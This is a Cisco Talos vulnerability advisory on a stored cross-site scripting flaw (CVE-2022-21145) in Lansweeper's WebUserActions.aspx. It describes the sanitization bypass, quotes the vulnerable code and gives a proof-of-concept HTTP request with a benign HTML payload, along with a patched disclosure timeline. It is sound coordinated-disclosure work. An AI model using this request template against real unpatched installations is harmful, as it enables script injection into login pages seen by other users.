Talos Vulnerability Report

TALOS-2022-1442

Lansweeper WebUserActions.aspx Stored XSS vulnerability

FEBRUARY 28, 2022

CVE NUMBER

CVE-2022-21145

Summary

A stored cross-site scripting vulnerability exists in the WebUserActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially-crafted HTTP request can lead to arbitrary Javascript code injection. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Lansweeper lansweeper 9.1.20.2

Product URLs

lansweeper - https://www.lansweeper.com/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Details

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management, compliance and audit purposes.

An exploitable stored xss vulnerability is related with an action: `Configuration -> Website Settings` and is located inside `\LS\CF\WebUserActions.cs` file. Let us take a close look at the vulnerable source code :

```
Line 147        else if (current.Request["action"] == "loginlayout")
Line 148        {
Line 149                JsReturnObject jsReturnObject4 = new JsReturnObject();
Line 150                try
Line 151                {
Line 152                        string text4 = current.Request["value"].Trim();
Line 153                        string text5 = new Regex("[^a-zA-Z0-9
-]").Replace(current.Request["name"], "");
(...)
Line 240        DB.ExecuteDataset("UPDATE TsysCustomLayout SET " + text5 + " = @p1",
DB.NewDBParameter("@p1", (text5 == "loginmessage" || text5 == "loginfootertext") ?
HtmlSanitizer.SanitizeHtml(text4) : text4));
```

An attacker controlling parameters `value` and `name` is able to set new values for table fields such as `loginmessage` and `loginfootertext`. There is a sanitization attempt for both mentioned fields in `line 240` before they get updated with a value of parameter `value == text4`. Unfortunately this check is not proper, and we can simply bypass it by setting e.g value of `name == text5` to e.g `Loginmessage` or ` loginmessage. In such a way, none of the characters used by us will be removed in line 153. Simultaneously, we bypass the check text5 == loginmessage. As a consequence we can insert controlled data into the database without any sanitization. To trigger this vulnerability, an attacker needs to be authenticated and have permissions to change loginlayout` fields. Injected code will be automatically triggered each time when a user visits the lansweeper login page.

Exploit Proof of Concept

REQUEST

```
POST /configuration/WebUsers/WebUserActions.aspx?action=loginlayout HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101
Firefox/95.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 261
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/configuration/WebUsers/default.aspx
Cookie: UserSettings=language=1; custauth=username=hacker&userdomain=;
ASP.NET_SessionId=lgve34t2113qechkef3uytce;
__RequestVerificationToken_Lw__=murmHbbVXPpH1R3EJDgF1WQsZis+Gb6CAsLBYb/j9OSuLM7CD40h
4xXqxvCgfuqmOaBtpmsC0k3x3MkQjRQ3HxsbCX8IuNomvCcIQQGKG+90p/DAA6+KM/DvgT9TnlopUM7bszIz
CpwDZIsFkAQ7pGzCBKJjAHA4rfFqh3KhEaY=

name=LoginMessage&value=">
<h1>MESSAGE1</h1>&__RequestVerificationToken=vuttY%2BJT0Q6cOMEcrdhGEXniL%2BdCh4kTCkB
%2FLw15u3JVk2v6%2FIMXJEWQJthKsEh5xjD4MadA0YFMmV3zE%2F4h6QCwXezxsiI5%2FLQ1RriBSC8yEQZ
jghg4YhXQaL9%2FDKhrE1KqIP2%2B2jNJqaq4ed6F1wnl1GSJhLZUAHN91E1YBWI%3D
```

RESPONSE

```
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 06 Jan 2022 13:42:55 GMT
Connection: close
Content-Length: 243

{"ErrorType":"","Error":false,"Emsg":"","AddedRows":
[["logo","38","","XSS1","aaa","XSS2","35","","XSS3","\">
<h1>MESSAGE1</h1>","XSS4","1","1","1"]],"Columns":[],"Columnwid":
[],"Action":"","ReturnValues":{},"ReturnValue":"","ReturnObject":null}
```

Timeline

2022-01-11 - Vendor disclosure

2022-02-21 - Vendor patched

2022-02-28 - Public Release

CREDIT

Discovered by Marcin "Icewall" Noga of Cisco Talos.

VULNERABILITY REPORTS PREVIOUS REPORT NEXT REPORT

TALOS-2022-1443 TALOS-2022-1441